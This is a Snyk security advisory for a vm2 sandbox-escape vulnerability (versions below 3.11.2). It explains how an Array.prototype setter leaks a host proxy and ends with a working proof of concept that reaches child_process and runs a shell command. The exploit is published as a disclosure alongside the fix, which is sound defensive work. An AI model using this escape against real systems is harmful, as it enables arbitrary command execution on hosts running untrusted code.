Arbitrary Code Injection Affecting vm2 package, versions <3.11.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-VM2-16624524
- published10 May 2026
- disclosed8 May 2026
- creditXmiliaH
Introduced: 8 May 2026
NewCVE-2026-44008 (opens in a new tab)How to fix?
Upgrade vm2 to version 3.11.2 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Injection despite the recently introduced neutralizeArraySpeciesBatch helper in lib/bridge.js. An attacker can execute arbitrary code by installing a setter on Array.prototype[N] and then triggering a host call with a sandbox array argument, causing the bridge to append its saved-state record through ordinary indexed assignment and hand the attacker a record containing a host-realm proxy. From that leaked proxy, attacker-controlled code can reach the host Function constructor and obtain the host process, escaping the sandbox and running commands in the host environment.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));